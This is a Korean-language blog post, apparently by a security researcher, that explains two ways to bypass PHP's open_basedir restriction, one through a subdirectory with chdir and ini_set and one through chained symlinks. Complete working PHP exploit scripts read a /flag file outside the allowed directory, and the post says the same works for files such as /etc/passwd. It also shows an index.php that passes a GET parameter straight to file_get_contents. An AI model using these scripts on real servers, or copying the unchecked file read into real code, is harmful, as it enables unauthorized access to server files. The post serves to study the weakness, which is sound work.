PHP Open_basedir bypass

시작하기에 앞서

오탈자, 혹은 잘못된 부분은 언제든 환영합니다 :)

왜 갑자기 open_basedir?

잠자기전 트위터를 보다가 굉장히 흥미로운 트윗을 보았습니다. Thanks to, @Blaklis_

Source : https://twitter.com/Blaklis_/status/1111586655134203904

처음에는 단순히 라업을 적은듯 하였는데, 내용을 읽어보니 일단 제가 모르는 것이었습니다. [Go to link]

요약을 하자면 open_basedir이 설정되어있을 경우, 이를 우회해 /(root)로 변경이 가능합니다.

이말은 즉, open_basedir이 /var/www/html에 걸려있더라도 /etc/passwd와 같은 서버 설정파일을 읽을 수 있다는 것입니다.

총 2가지 방법(subdirectory, symlink)을 통해 open_basedir을 우회하려고 합니다.

open_basedir bypass

Initialize Setting

서버의 설정(php.ini)는 다음과 같습니다.

open_basedir = /var/www/html

index.php의 소스는 다음과 같습니다.

error_reporting(E_ALL);
ini_set('display_errors',1);
echo file_get_contents($_GET['f']);

/flag를 읽을려고 하면 당연히 에러(open_basedir restriction in effect)가 발생할 것입니다.

참고로 정상적인 경우 open_basedir을 /로 변경해도, open_basedir은 변경되지 않습니다. 고로 /flag를 읽을 수 없습니다.

이제 이를 우회하여 /flag파일을 읽어봅니다.

1 - Using subdirectory

subdirectory를 이용하여 open_basedir을 /로 변경하는 방법입니다.

이를 위해서는 open_basedir안에 폴더가 존재해야합니다.

테스트를 위한 서버의 구조는 다음과 같습니다.

root@shpik:/var/www/html/shpik/04# ls -al
total 20
drwxr-xr-x 3 root root 4096 Apr  5 04:45 .
drwxr-xr-x 6 root root 4096 Apr  5 04:16 ..
-rw-r--r-- 1 root root  341 Apr  5 04:21 index.php
drwxr-xr-x 2 root root 4096 Apr  5 04:19 mashiro
-rw-r--r-- 1 root root  100 Apr  5 04:45 test.php

mashiro라는 폴더를 이용하여 /flag파일을 읽어봅시다.

코드는 다음과 같습니다.

error_reporting(E_ALL);
ini_set('display_errors',1);
chdir('mashiro');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents($_GET['f']);

open_basedir을 우회하여 /flag파일이 정상적으로 읽힙니다.

/를 가르키는 symlink를 생성하여 open_basedir을 우회하는 방법입니다.

이는 ../를 이용해 parent directory로 이동하기 때문에 적당한 깊이의 폴더가 필요합니다.

root@shpik:/var/www/html/shpik/04/symlink# tree
.
├── a
│   └── b
│       └── c
│           └── d
│               └── e
│                   └── f
│                       └── g
│                           └── h
│                               └── j
│                                   └── j
│                                       └── k
└── index.php

이를 링크로 하나 만들어줍니다.

symlink('/var/www/html/shpik/04/symlink/a/b/c/d/e/f/g/h/j/j/k','shiina');

그러면 아래와 같은 symlink가 생성됩니다.

shiina -> /var/www/html/shpik/04/symlink/a/b/c/d/e/f/g/h/j/j/k

위에서 생성한 symlink(shiina) 기준으로 하위로 내려가는 symlink(goto)를 하나 더 생성해줍니다.

그리고 ini_set을 통해 open_basedir을 재 설정해주는데, 방금 생성한 symlink(goto/)를 추가해줍니다.

마지막으로 symlink(shiina)는 unlink해줍니다.

symlink('shiina/../../../../../../','goto');
ini_set('open_basedir','/var/www/html:goto/');
unlink('shiina');
symlink('/var/www/html/','shiina');

그러면 goto라는 symlink는 /를 가르키게 되고 file_get_contents('goto/flag');를 하게 되면 open_basedir을 우외하여 파일을 읽을 수 있습니다. 아래는 풀 코드입니다.

error_reporting(E_ALL);
ini_set('display_errors',1);
symlink('/var/www/html/shpik/04/symlink/a/b/c/d/e/f/g/h/j/j/k','shiina');
symlink('shiina/../../../../../../','goto');
ini_set('open_basedir','/var/www/html:goto/');
unlink('shiina');
symlink('/var/www/html/','shiina');
echo file_get_contents('./goto/flag');
highlight_file(__FILE__);